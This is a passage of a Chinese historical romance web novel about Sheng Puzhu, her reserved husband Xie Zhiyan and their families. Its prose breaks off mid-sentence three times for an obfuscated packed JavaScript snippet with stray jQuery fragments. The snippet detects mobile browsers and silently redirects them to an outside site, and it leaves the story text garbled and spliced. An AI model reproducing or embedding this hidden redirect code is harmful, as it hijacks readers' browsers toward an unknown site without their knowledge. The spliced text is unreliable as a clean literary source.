“母亲,这可是您首个嫡出的曾孙,这样大的事儿媳自然得让清慧亲自过来和母亲道喜。”
“再说了,去哪儿都有仆妇跟着,雪大不过添个手炉加件披风的事,怎么算是折腾。”
盛菩珠看着薛清慧的肚子上,暗暗吸了口气,这才八个多月的肚子,比起她认知里的孕妇大了许多,而且薛清慧整个人也胖了一圈不止,连站起来都困难,怎么不算折腾。
“蒋嬷嬷给清慧换个新的手炉,再把暖阁放着的那张狐裘垫子拿出来给清慧用。”
老夫人她知秦氏争强好胜的性子,先说了这样一番好话,才质问道:“清慧的肚子会不会太大了些,太医是怎么说的,吃食上有什么要注意?”
“冬天外边冷不好走动,她在自个儿屋里也多走走,生产时容易些。”
秦氏先是愣了一下,听得有些置气:“肚子大是福气,说明孩子长得好。”
“太医是说吃食上要尽量清淡,可我们又不是清苦人家的做派,哪能在吃的方向短扣媳妇。”
“倒是菩珠,你同执砚也该抓紧,早些为家中开枝散叶,明宗与执砚同岁,他第二个孩子马上就要出世了。”
盛菩珠那是半点不在意秦氏这方面的尖酸刻薄,毕竟生孩子生嫡长孙,一直都是秦氏的执念。
当初秦氏与寿康长公主一起嫁入靖国公府,两人还同时查出有孕,只可惜长公主腹中孩子夭折,秦氏虽顺利生产,却是一个女儿。
她生长女时伤了身子骨,足足养了两年才重新有孕,也不知是不是命运刻意的捉弄,没几日长公主那边也查出有了身孕。
等到临产,结果谢执砚比谢明宗早出生三个时辰!
也就是这三个时辰之差,谢执砚成了百年谢最清贵入骨,风仪若玉的嫡长孙,而谢明宗只是外人口中书读得极好的谢家二郎罢了。
秦氏如何能咽得下这口气。
所以薛清慧肚子里这个孩子,秦氏恨不得当眼珠子盯着,恐怕比自己的命都重要。
盛菩珠只当看不出秦氏笑容里藏着的得意,她才不与有执念的疯子计较,但她也不是能随便拿捏的软柿子。
慢悠悠喝了口茶,很大度道:“大伯娘只管安心,我会和郎君好好努力的。”
她脸不红,心不跳,还把‘努力’两个字咬得特别重。
秦氏简直被一口气堵着,不上不下的,有些不太称心道:“你这孩子,孩子是你肚子里生,怪执砚不努力有什么用。”
盛菩珠抬头抿唇,漂亮的脸蛋露出意味深长的笑,故作幽怨轻叹了一声:“孩子虽是我肚子里生,若我一直不能有孕,那就只能我家夫君不够努力!”
接着她又十分理直气壮地说:“不过这也怪不得夫君不上心,他为圣人分忧,心怀天下,哪能把宝贵的时间浪费在夜里这点小事上。”
“大伯娘下次可别这样说了,夫君若是知晓您背后嚼他舌根,虽说您是长辈应该持礼自重,他不会与您计较。”
“但我家夫君,那是连陛下都夸赞的温润君子。”
话音才落——
有凉风顺着撩起的帘子落在人脸上,花厅霎时一静,连博山炉里袅袅的青烟都倏忽散开。
“夫人。”谢执砚清冽的身影,立于光影交界的地方,绯红的官服衬得他身姿挺拔如松,眉眼冷峻,眸色深沉。
他静静地看向她。
彻底完了!
盛菩珠觉得天塌了,嘴里茶水都是苦涩的,指尖抖了抖,努力朝他露出一个不失得体的笑:“郎君……今日怎么这么早?”
“刚巧朝中无事,正好早些回。”他脚步不紧不慢走向她。
明明很轻的声音,落在她耳朵里,就好似每一步都迈在她心口上,有细微的震动,空气像是凝住。
盛菩珠感觉耳朵烧了起来,连脖颈下颌都染上一层薄薄的烟霞色,强撑着朝他笑一下:“夫君回得可真巧。”
令人窒息的沉默里,老夫人装傻充愣,一个劲地低头喝茶。
秦氏端起茶杯的手,不知为何抖了抖,尴尬出声:“执砚回来了。”
谢执砚走到秦氏身前,规矩礼仪一点不少,只是语调冰冷:“伯娘要怪便怪我平时多有疏忽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740112|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,您是长辈,您若觉得我哪里说得不对,尽可按照家规指出,不必为难我夫人,罚我便可。”
秦氏听到这里,吓得浑身冒汗。
谢执砚是谁,他可是寿康长公主唯一的孩子,当今圣人最宠爱的外甥。
她敢罚他?
她是嫌自己命长,还是嫌秦家的九族不够死一死。
“执砚,我方才是与菩珠说笑呢,你们夫妻千万别放心里。”秦氏吓得都快打颤了,磕磕绊绊说了这么一句话。
“您最好不是。”谢执砚漠然道。
盛菩珠简直羞愤欲死,想起身告退,奈何男人竟然慢条斯理在她身旁坐下了。
秦氏自从管家后,她什么时候受过这样的窝囊气,就算面上再能装,那僵着的嘴角怎么也掩饰不住她的恼意。
“母亲,清慧身子重,等会儿天色暗下来地上更湿滑,儿媳就先带清慧回去了。”
老夫人朝她摆了摆手:“去吧,生产前就不必再来请安,你让人照顾好她。”
“好孩子,你过来。”
老夫人温和朝薛清慧招手,她从腕子上褪下一串小叶紫檀的佛珠,套在薛清慧的手腕上:“这佛珠跟着我焚香诵经也有二十年了,算是有些灵气的物件,你好好收着。”
“就当是图一个安心,不必过分压抑自己。”
薛清慧愣了一下,垂下头:“是,孙媳知道的。”
等秦氏一行人走远,盛菩珠像是发现椅子会烫人一样,火速站起来挤到老夫人身边坐下:“祖母,这几日天冷,不如您就行行好,留了孙媳在您这吃暖锅住上几日吧。”
“我馋蒋妈妈煮暖锅的手艺。”
老夫人只当听不懂盛菩珠话里的意思,似懂非懂嗯了一声:“蒋嬷嬷你去收拾收拾……”
盛菩珠眼睛一亮,觉得有戏。
然后她就看到头发已经发白的老太太朝她暧昧眨了眨眼睛:“收拾收拾,等会跟着菩珠去她韫玉堂
多住几日,等菩珠暖锅吃腻了,你再回来。”
什么!
不是啊!
吃什么暖锅,她一点都不想吃暖锅,这个只是借口啊,她是想留在颐寿堂多住几日。
“祖母……您不心疼我了?”盛菩珠可怜兮兮问。
老夫人看看她,又看向垂眸喝茶的孙儿,忽然“哎呦”一声,扶着额头起身:“我累了,你们都回去吧,太热闹也不好,闹得我头晕。”
“我得去里间躺躺。”
“祖母。”盛菩珠轻轻扯着她的衣袖,还在垂死挣扎。
老夫人亲昵点了一下她的眉心,小声道:“傻孩子,明日你不是要和执砚回明德侯府看你母亲。”
“刚好趁此机会就留在家中小住几日,让执砚先回。”
“多陪陪你母亲,你缠着我这个老婆子做什么?”
盛菩珠眼睛一亮,她怎么就没有想到,她可以趁着回娘家躲明德侯府去。
老夫人一走,花厅静得落针可闻。
盛菩珠慢慢抬头,朝他看去。
男人绯红的朝服,此时目光淡淡的,似察觉到她的视线,平静掀起眼眸。
“夜里不够努力,嗯?”笃定的语气,他站起来,一步一步走近她。
盛菩珠只觉一股燥意漫过全身,早晨上药时,他略有些粗粝的指腹,那种触感还隐隐留在那处,只要想到后浑身都激起一种细密的颤栗。
“没有的事,郎君误会了。”盛菩珠绞尽脑汁否认。
“夫人。”谢执砚嗓音低沉,幽沉的眼眸一瞬不瞬盯着她。
盛菩珠身体抖了抖,莫名往后退了两步。
谢执砚看着她,眸色深得骇人。
“我自成婚以来,的确疏于自省,夫人不满,是我之责。”
他一步步逼近她,平和的音色,字字清晰,就如同朝堂议上奏那般郑重。
“夫贵者,仰而思之。”
“夫妻之义,夜以继日。”
“往日夜里只与夫人温习一遍,如今看来,是我多有懈怠。”
盛菩珠瞳孔紧缩,退无可退。
谢执砚垂眼看她,瞳孔深处暗火灼人:“既我已知错,那定会将功补过。”
补过?
怎么补?
他难不成还要把之前的也一起补上!
他可是离家整整两年啊。
13. 第 13 章
“不不不……”
“郎君你听我解释。”
盛菩珠惊得声音都在抖,可惜身后拦着一扇紫檀嵌玉花鸟屏风,根本就没有退路。
“非夫人之错,为何解释?”谢执砚逼近的身影,就像是压城的乌云,高大的身体是可以随时能把她吞噬殆尽的。
他脸上表情实在是太过于认真,宽大的手撑在她身后的屏风上,俯身压近,温热的鼻息就好似不经意一般掠过她微烫的耳尖。
为何解释?
她不解释,她就完蛋了。
她的小身板能受得了他那一身力气。
盛菩珠眼睫轻轻一颤,哪怕踮起脚尖,也只到他肩膀的高度,她的身高在女郎里已经不算矮的,当他居高临下看过来时,依旧会被他的气势给压制,连挣扎都成了妄念。
呼吸变得急促,整个背脊已经彻底贴在屏风上,仍旧强撑着狡辩道:“郎君做事认真谨慎,从未有过懈怠。”
“我……我觉得郎君不必因此反思。”
“夫人。”谢执砚把身体俯得更低些,几乎是与她眼睛平视的角度。
他脸上没有多余的情绪,清冷温和的眸光看向她的眼睛:“我若不反思,真如夫人所言不自省行事,那就成了狡辩。”
“君子无端,但需行止有度。”
啊!
什么狡辩,鬼个狡辩啊!
是我要狡辩,不是你。
盛菩珠在心底呐喊,觉得自己坚强旺盛的生命力,终于遇到了她一百张嘴也狡辩不过的克星。
她以手遮眼避开他的视线,自暴自弃。
“唔~郎君说得都对。”
说到底,她并不是生气,只是论起口舌,她发现她真的一点都斗不过谢执砚,也不知他平日在朝中是不是也是这样舌战群儒。
“郎君在朝中忙碌,反思纵然重要但妾身也疼惜您的身体,熬夜伤神,郎君应该以休息为重,万万不可懈怠。”
盛菩珠轻飘飘丢下这句话,颇有一副破罐子破摔的疯感:“郎君让一让,妾身累了,要回韫玉堂休息。”
谢执砚原本平静的眉眼倏地一滞,像是有些无法理解她突然转变的态度,平和的眸子晃了晃,竟渐渐浮出几分困惑,长睫低垂,终究什么都没有问。
等夫妻两人一前一后离开,老夫人才搭着蒋嬷嬷的手,慢悠悠从里间晃出来。
蒋嬷嬷有些忧心道:“老夫人,依奴婢看,娘子和郎君他们莫不是吵架了?”
老夫人哼了哼:“若是能吵得起来那才叫好呢。”
“三郎的性子你也知道的,过于冷静疏离。”
“说难听点,有时我都摸不清这孩子到底有没有喜怒哀乐,虽然看似持重端方,实际上就根本没有东西能入他的心和他的眼。”
“有时我都怕啊,怕他哪日走了极端,彻底失了自我和规矩的约束。”
“他这样的性子,还有谁能拉得住他。”
“所以……”老夫人长长叹了声,“若菩珠能和他吵起来,那就是祖宗保佑。”
盛菩珠回到韫玉堂,她连身上的披风都没力气解,就懒洋洋趴在软榻上。
“嬷嬷。”
“我好累,骨头要散架了……”
自从世子回来后,杜嬷嬷一天至少得听盛菩珠喊十遍累,她只是无奈笑了笑:“奴婢给你摁摁肩?”
盛菩珠摇头,有气无力:“别说是按肩了,就算是泡花瓣澡都不行。”
“怎么办?”
“我好想装病哦。”
“要不洗个冷水澡吧,称病十天半个月,想想就很刺激。”
杜嬷嬷简直被吓了一大跳,直拍着心口无奈道:“奴婢年纪大了,娘子不要吓唬。”
盛菩珠这才懒洋洋抬了抬眼皮,开始谈条件:“明日回明德侯府,嬷嬷不如帮我求求祖母和母亲,让我在家中住个十天半月吧?”
“祖宗。”
“哪有出嫁的姑娘回娘家住十天半月的,若是外边知道会被说娘子闲话的。”杜嬷嬷眼皮一跳,看盛菩珠脸上的表情,就知道她心里恐怕又在算计什么不得了的鬼主意。
“嬷嬷就当疼惜我。”
“我想祖母,想娘亲,想家中的妹妹们了。”盛菩珠翻了个身朝杜嬷嬷撒娇,“长公主娘娘疼我,老夫人也疼我,我想回娘家住一段时日,她们肯定会同意。”
“我就怕到时候母亲和祖母要说我没规矩,摁着我回来。”
“那郎君那边怎么办?”杜嬷嬷心里没底。
盛菩珠见杜嬷嬷松口,眼睛亮了亮:“郎君肯定会同意的。”
“再说了,腿长在我身上,我都回明德侯府了,只要长辈同意,他难道还能把我绑回靖国公府不成?”
“而且大伯娘今日被郎君恐吓一番,清慧马上就要生了,她肯定也没精力私下编排我。”
“这简直就是天时地利,就差人和了。”
盛菩珠每一句话都能带出一个完美的理由,直接把杜嬷嬷哄得一愣一愣的,没多久就软下心:“老奴尽量帮着姑娘在夫人和老夫人那周旋。”
“我就知道嬷嬷对我最好了。”盛菩珠这才弯着眼睛笑起来。
等到入夜,她早早就洗过澡,百无聊赖躺在床上走神。
因为谢执砚说要回韫玉堂安置,她还是贴心地给他留了一盏灯。
戌刚过,男人准时推门而入。
可能是因为早上吓到她,所以夜里回来的时候,他还刻意加重了脚步声。
盛菩珠双手扯着海棠红的织金锦衾用力往上拉,把脸遮了大半,只露出一双眼睛,她悄悄掀起帐幔朝外看。
没想到,直接对上男人墨一样浓黑的眼睛。
他应该是沐浴过,发尾还湿着,就站在不远处的灯下喝茶。
阴影交错,他眉目愈发显得深邃,长睫在眼睑投下一片浅浅的阴影,端茶的那只手骨节修长分明,天青色的茶盏映着他淡色的薄唇,青白与红粉在灯下交映,成了一种禁欲的艳色。
茶水润过他薄薄的唇,喉结伴随着吞咽的动作,轻轻上下滚动。
盛菩珠心头一跳,掌心揪紧锦衾,眼神飞快从他喉结扫过,又极快错开。
“夫人有话要说?”谢执砚把茶盏搁在桌面上,发出很轻的声响。
“没有。”盛菩珠收回视线,心情忽然变得有些纷乱。
她不得不承认,他在灯下喝茶的模样,实在好看。
烛火摇曳,她感觉锦衾下的身体忽然变得有些烫烫的,连带着脖颈露出的肌肤都泛起潮潮的热,明明屋外还在下雪呢。
她故作镇定轻咳了声:“郎君明日准备什么时辰出发?”
谢执砚走向她,视线落在她微微张开的唇上,连着小巧的下巴往下,脖颈上薄薄的一层粉色清晰可见。
她的一双眼睛,明显带着迟疑和试探。
“辰时出发。”他调开视线,淡淡道。
两家相隔不算远,马车只要半个时辰就能回家,如果骑马的话可能更快一些,可惜冬天太冷她不能骑马。
盛菩珠适时仰头,尝试问:“明日妾身想在家中小住一日,郎君觉得可行?”
暖色的烛光落在两人身上,男人逆光站着,盛菩珠看不清他眼底神色。
但是她一张
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740113|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明媚的小脸清晰落在他眼中,髻边碎发随意垂落,隐约还能看到她耳尖上未消的绯色,饱满的唇,随着她说话的声音,一张一合。
书上说……
夫妻之乐,先从唇开始,再落在脖颈……若是妻子神色并无不妥,再除去衣裳……
谢执砚身体倏地僵住,毫无预兆想到今晨她的唇咬在他掌心上时柔软的触觉。
“明德侯府是夫人的娘家,小住一日并无不妥。”他略有些不自然侧了侧身体,目光如深潭的水,“我去沐浴,夫人先睡。”
“不必等我。”
沐浴?
盛菩珠无辜眨了眨眼睛,见他身影如夜风掠过,眨眼就消失在屏风另一头。
如果她没看错的话,他应该是在书房沐浴后才过来的,好端端的,一天也不要洗那么多遍吧?
为什么沐浴?
他不会真的要说到做到,今晚就要开始好好“补偿”她吧。
盛菩珠开始胡思乱想,提心吊胆听着屏风后方传来的水声就像是某种暗号似的,吊着她一口气不上不下。
要不还是睡吧,快点睡着,他是讲风度的男子肯定不会把她弄醒,或者把锦衾裹紧一些,扯不开最好。
盛菩珠闭着眼睛,渐渐走神。
她不知道什么时候真的睡着了,因为锦衾裹得实在紧,罗袜缠在脚踝上,她觉得热,于是无意识蹭了蹭脚尖,把罗袜踢掉。
半梦半醒,她似乎听到谢执砚跨出浴桶的声音,残存的水珠从他喉结坠落,砸回浴桶,覆着水色的赤足踩在青砖上,每走一步都留下很深的水痕。
她在心里告诉自己得赶紧睡,千万别醒!
好在眼皮逐渐沉重,连日紧绷的精神占据了上风,朦胧间,她恍惚觉得腰上很凉,身体一颤,就像男人沐浴过后带着潮气的手指,正一点点的摩挲过她紧绷的脊线。
“郎君。”盛菩珠咕哝一声,猛地睁开眼睛。
她就这样醒了!
抬起头就看到男人半敞开的素色里衣,满头乌发用玉簪绾起,露出修长的后脖颈。
“夫人做梦了?”谢执砚微蹙眉。
盛菩珠听着自己胡乱的心跳,摇了一下头:“没有。”
“只是突然惊醒。”
她心虚回避他的目光,心跳却没有要冷静下来的意思。
今夜也不知是怎么了,明明他什么也没做,可偏偏他的一举一动落在她眼中,都像是一种无声的诱惑。
作为心志坚定的女郎,她可不是能被美色轻易引诱的人,盛菩珠往床的里侧挪了挪,给谢执砚让出更多的位置。
夜风轻寂,烛火沉沉。
谢执砚走到榻前,他掀开锦衾躺下。
两人都相对沉默着,盛菩珠闭着眼睛一阵心虚,忽然听到男人低哑的声音理所当然说:“夫人身上的伤未好。”
他朝她那边微微侧头:“我即便是补偿,也需等夫人痊愈才行。”
盛菩珠怔了怔,想去看他脸上的表情,又硬生生忍住。
两人隔着锦衾并排躺着,她觉得身上锦衾缠得太紧身体像酝着一团火,而他刚洗过凉水的冷,如同人在干渴时需要的水。
冷意透过锦缎,无可避免渗在她身体周围。
成婚两年,实际相处还未超过十日,明明是不熟悉的陌生人,却做着时间最亲密无间的事。
有时候,隐忍成了比温和更致命的撩拨。
盛菩珠觉得自己恐怕是疯了,漫漫长夜她竟成了想要“得到”的那一方。
就像有一股无形的推力,迫使她,丧心病狂怀念被他填满后,身体带来饱胀的满足感。
14. 第 14 章
再醒来,天已蒙蒙亮。
盛菩珠茫然睁开眼睛,入目却是蟹壳青缎面绣着松鹤纹的软枕,触之微凉,还残留着清冷的柏子香,这不是她的枕头。
大惊之下她慌忙撑起身子,锦衾滑落,露出素白的里衣,腰侧系带看似规整,却不是她习惯的蝶形结,而是利落系成一个单结。
昨夜……
盛菩珠指尖抚过衣襟,轻轻咬住唇。
她一个人睡惯了,谢执砚归家前,梨霜她们都在屋里伺候,就算夜里她睡姿不够文静,偶尔踢开锦衾,也不用担心。
可是现在她都不留人守夜,那这单结难不成是他?
应该不可能吧!
盛菩珠闭了闭眼,里间静悄悄的,她两颊慢慢浮上热意。
明明连最亲密的事都做过,可一想到他修长手指挑着雪白的衣带,小心替她重新拢好的样子,脑子里挥之不去的是他昨夜在灯下喝茶的身影。
那双手,无论在做什么,总会让她记起他指尖裹满药膏给她上药时,潮潮的指腹托着像是要滴下来的汁水,淌到她身体深处。
天光未透,帐子内暗香浮动。
盛菩珠茫然朝后看去,这才发现方才滑落的锦衾竟也不是她盖的那一条,至于她睡前身上盖的东西,一半缠在她小腿上,另外一半被她压在身下。
隐约露出榻上铺着的藕色褥单,上面隐约残留着另一个人的体温。
昨夜……
她到底做了什么?
他——是不是全都看见了。
盛菩珠懊恼晃了一下脑袋,明明是一夜无梦,任她如何回忆,都想不起自己什么时候挤到谢执砚那边,还霸占他的东西。
而且,一想到睡前,她还生出‘想要’的渴求,身体不禁一抖,掌心压在软枕的松鹤绣纹上,细密的针脚,像极了他指腹薄薄的茧。
虽有些粗粝,可每每握紧她侧腰娇嫩肌肤,在难以承受的力道过后,就成了异样的酥麻。
不能再想了!
盛菩珠猛地坐起身,像是要甩掉什么念头似的,趿上软底绣鞋,急急忙忙走到窗前,“哐当”一声推开窗子。
凉风拂面,依旧吹不散她发烫的脸颊。
手掌心轻轻拍着心口,可她一口气还没有松完,抬眼就见庭院朦胧的白雾中立着一道颀长的身影。
晨光在他身上镀上一层浅浅的淡金色,就如他手中的长剑一样凛冽。
玄色的劲装已被汗水浸透,剑风如匹练挑破雾霭,气势恢宏,一个转身,柔韧的腰随着剑势,给人一种如高山般宏伟而不可攀登的凌厉。
“醒了?”
谢执砚回过头,气息未乱,颈侧血管却因剧烈运动略有明显的跳动,他喉结滚了滚,随手拿起石桌上的茶水,漫不经心抿了一口。
盛菩珠觉得身上更热了,等他走近,能更加清晰地看到他眉峰舒展,半湿的衣料贴在身上,每一块肌肉的轮廓都是那样的明显。
这么好的身材,要是能绑到琳琅阁给她当珠侍那该多好啊。
不对劲!
她怎么敢这样想!
不要命啦,他可是谢执砚,她竟然大胆妄为打起他的主意,难不成真的要被这种绝无仅有的美色逼疯了吗?
盛菩珠一边唾弃自己,一边欲盖弥彰往后退了退,适当露出一点含蓄的笑。
“郎君起得真早。”
“您昨夜睡得可还好?”
问完她就后悔。
真是哪壶不开提哪壶,有时候嘴比脑子快,也不见得是一种好事。
“尚可。”谢执砚看着她,过了一会儿才说。
“夫人睡得如何?”他伸手拿起干净巾子,慢慢擦去脖颈上的汗,意有所指问。
盛菩珠偷偷瞥他一眼,学着他说话的模样:“嗯,我也尚可。”
两人本质上,最多也只算陌生夫妻,成了亲,早上碰巧遇见,礼貌问候而已。
盛菩珠心里不太能形容这种过分疏离的亲密,好在谢执砚朝她微微颔首,抬步从她身前走过,不多时浴室里有水声响起。
……
直到坐上马车,盛菩珠都保持沉静的模样,她不太敢直视对面的人。
谢执砚今日穿了一身枣红色圆领窄袖袍衫,领缘滚着檀色绣金丝的贴边,袖口衣襟绣着漂亮的忍冬纹,紧窄的腰,用一条白玉镶嵌的革带缚紧。
因为算是婚后夫妻归宁,所以两人都选了比较喜庆的红色,枣红这样浓烈的色彩,他穿在身上一点也不突兀,反倒是把他衬得眉眼深邃,气度俨然。
他双手撑膝而坐,肩背挺拔如松,指尖有一搭没一搭地轻叩,脚上的乌皮六合靴随着马车行驶微微震动。
分明的慵懒的姿态,却让盛菩珠时刻戒备着,冷峻如山的气势,压抑在逼仄的车厢内,令她无端紧张。
“夫人有心事?”他抬眸,目光淡淡落下。
盛菩珠扯了一下手里的帕子,感到绝望,她总不能说,惹她心烦意乱的罪魁祸首就是他本人吧。
大清早练剑,外院书房那么宽阔的园子不去,偏得在韫玉堂,当时她推开窗子本意是散一散热气,谁知他在窗外练剑,这和在柴火堆里再添一把火有什么区别。
盛菩珠暗暗叹了口气,硬着头皮道:“没有,只是许久未归家,有些紧张。”
谢执砚单手支着下颌,是很放松舒适的神态,指尖漫不经心转着拇指上的羊脂玉扳指,目光坦荡落在她身上。
他看似随意的姿态,眼底却是少有的认真打量。
只不过,他的视线实在过于直白坦荡。
盛菩珠根本忽视不了他如同有实质的视线,从她微颤的眼睫到紧抿的唇,然后是因紧张而绷直的肩颈,一寸寸压下,像是要将她看透。
他到底要看多久?
还是她今日装扮有不妥之处?
盛菩珠越想越紧张,细白的指尖蜷紧,胸腔里心跳声鼓噪像是要跳出来。
就算如此,她还是强撑装作毫不知情的模样,目光虚虚落在他撑在膝盖的那只手上。
万幸从靖国公府到明德侯府,只要半个时辰。
马车停下,外头传来热热闹闹说话的声。
谢执砚先一步跳下马车,他单手撩起车帘,掌心向上朝她缓缓伸出手。
这样妥帖的姿势,落在外人眼中,那就是夫妻恩爱的表现。
盛菩珠犹豫一瞬,轻轻将手搭上去。
他掌心干燥有力,因常年握剑的缘故,有些粗粝,却有一种力量感匀称的修长。
“夫人小心脚下。”谢执砚淡声道。
盛菩珠迈下车辕,他力气很大,带着那种强烈的主导,单手扣在她的侧腰上,拇指下压的力道,激得她眼皮子一跳,双腿发软险些没站稳。
“谢谢郎君。”盛菩珠暗暗咬了一下舌尖,只差一点就惊呼出声,她都怀疑他是不是故意的。
“不必。”谢执砚稍稍抬眸看她。
夫妻俩站在一起,任谁见了都要赞一句“佳偶天成,百年好合。”
府前有仆妇迎接,特地挂上大红色灯笼,正门两尊石狮也绑了红色绸缎,显然明德侯府上下是用了心意。
盛菩珠带着谢执砚,两人才绕过影壁,就听到园子里传来一阵银铃般的笑声。
“大姐姐可算是回来了。”
“姐姐再不回来,我们这些做妹妹的只当姐姐沉迷温柔乡,早早就把我们忘了。”
盛菩珠弯着眼睛笑起来,她朝那个慢慢走进的人影张开手臂:“让我瞧瞧,是谁家的小女娘被我忘了。”
话音才落,她就被一个鹅黄色的身影撞了满怀。
盛菩瑶起初还在笑,不一会儿就捂着眼睛抽抽搭搭地哭,她把
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740114|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
整张脸都埋到盛菩珠怀里:“姐姐我好想你。”
“你想我就让祖母给靖国公府递帖子,难不成我还能拒了?”盛菩珠无奈。
盛菩瑶委屈死了:“不是见几日就能好的想念,是要日日见到姐姐才能不哭的想念。”
“呜呜呜嫁人一点都不好,以后我不要嫁人了。”
盛菩珠一颗心顿时软成了水,拍拍盛菩瑶的脑袋:“不哭不哭了,我这不是回来了吗?”
盛菩瑶明显不满,她气鼓鼓抬起头瞪了谢执砚一眼,然后转身跑开。
盛菩珠无奈解释道:“方才的小女郎是菩瑶,我嫡亲的妹妹。”
“她年岁还小,性子天真烂漫,郎君莫要同她计较。”
谢执砚平淡嗯了一声,思忖半晌:“她应该是……”
声音顿了顿:“讨厌我。”
盛菩珠没忍住,扑哧一声笑出来,她仰起头对上男人疑惑的目光,认真解释道:“你娶我为妻,在菩瑶看来,就是你抢走了属于她的我。”
“郎君不如想想,如果有谁抢了你最心爱的东西,你能心平气和不讨厌?”
谢执砚拧眉像是不能理解:“我没有心爱的东西。”
盛菩珠表情复杂,短暂对视她移开眼睛:“算了,可能郎君没有,所以不懂吧。”
谢执砚缄默片刻,用很平静的语调说:“情绪不可能左右我。”
盛菩珠简眼中的男人挺拔修长,但眉眼如覆了薄霜,他眼神已经不是疏离,而是坚冰一样的冷漠。
好在两人已经走到花厅,心底莫名升起的那股寒意被打断。
“祖母,我带郎君回来给您请安啦。”盛菩珠收敛思绪,明眸善睐的一双眼睛像是会说话一样,笑眯眯朝老夫人行礼。
“你这孩子,快些起来,执砚也起来,都是一家人不必多礼。”
老夫人目光落在谢执砚身上,打量许久,她满意点了点头:“嗯,是个模样俊俏的郎君。”
盛菩珠顿时脸红,当初家里给名册让她选郎君,她可是大言不惭说必须是模样最俊俏的,没想到亲祖母现在拿这话来调侃她。
“祖母,当初年岁小,胡说的话可作不得数。”她眨了眨眼睛,声音拖得绵长,像沾了蜜一样,“您得替我保密。”
老夫人笑着拢住她的肩:“难不成还害羞了?”
盛菩珠想否认,一抬眼对上写谢执砚的目光,她轻咳一声,不动声色换了个问题:“怎么不见二妹妹。”
老夫人拍了拍她的手:“你二妹妹前些日染了风寒,病了。”
好端端怎么会病了?
盛菩珠想了想还是压下疑问,只捡了在靖国公府有趣的事说给老太太听。
谢执砚的男客,他在花厅陪坐一刻钟,就被明德侯府几个郎君请走了。
等人走远,盛菩珠暗暗松口气,没骨头似的往老夫人身上歪:“祖母,我好不容易回来一趟,不如在家里多住两日吧?”
老太太顿时掀开眼帘看她:“怎么,和郎君吵架了?”
盛菩珠摇头否认:“哪有的事,就是想祖母和家里的妹妹们了。”
“都半年多没回家中小住了,不如趁此在家中住个十天半个月的,还能再当一当祖母跟前最受宠爱的小娘子。”
盛菩瑶一听,闷气也不生了,她拉着老夫人的手一个劲地摇:“祖母,您就答应大姐姐吧。”
老夫人被闹得没了脾气:“也行,那就让你家郎君一起留在明德侯府,多住几日。”
盛菩珠听了,眼前一黑。
“不用不用,我回来就好。”
“郎君他朝中事务多,来回也不方便。”
老夫人明显觉得不太对,紧张地问:“莫不是,你们感情不和?”
盛菩珠不由心虚起来,心里一个劲感慨,什么感情不和啊,明明是身体不合。
15. 第 15 章
“菩珠。”
“好孩子,你怎么不说话?”老夫人心底咯噔一声,紧张得扶着桌沿站起来。
盛菩珠哪里舍得让家中长辈担心,她立刻猫儿似的蹭过去,用软软的语调撒娇。
“老祖宗,没有的事。”
“郎君体贴,也很疼惜我,怎么可能夫妻不和。”
“当真没有骗我?”老夫人皱了皱眉。
盛菩珠抬手抱住老太太手臂,轻轻晃了一下:“我是老祖宗您亲自教导养大的小娘子,平日什么性子您还不知道,心肝宝贝疼着受不得半点委屈,若是郎君与我不和,我还能这般和和气气带他归宁?”
“早就让家中的哥哥们替我做主,用棍棒把人给打出去了。”
老夫人长叹了声,苍老的目光积着无奈:“我就是因为太清楚你性子倔强,这才担心你们夫妻不和。”
“当初谢家三郎与你成亲,结果洞房当夜就抛下你远赴戍边,其中的委屈,哪里又是轻飘飘几句疼惜就能遮掩翻篇的。”
盛菩珠对上老夫人威严的目光,她极淡弯了一下唇,眼底的笑容没有半点变化:“祖母我不委屈,他心胸有沟壑,腹中藏乾坤,挂念的是大燕安危。”
“而我也不差。”
“至少我希望自己成为整个长安,不……应该是整个大燕最会做生意的女郎。”
“就像当初祖母赠我白玉算盘,后来又许我在长安开了一间琳琅阁。”
盛老夫人深感欣慰的同时,也松了口气:“好孩子,你心里能明白就好。”
“祖母,我也明白的。”盛菩瑶挤到老夫人身边坐下,眼睛还红红的。
“大姐姐也带上我吧,等我及笄后就不嫁人了,我要跟着姐姐一起做生意,成为整个大燕第二会做生意的女郎。”
“你个傻孩子。”老夫人把盛菩瑶拉到怀里,宠溺拍了拍,眼神骄傲,“学堂里先生布置的术数课业,你先学清楚了。”
“菩珠在你这个年岁的时候,她术数课业用的已经是和家中哥哥们一样的书册,若连账都算不明白还怎么做生意?”
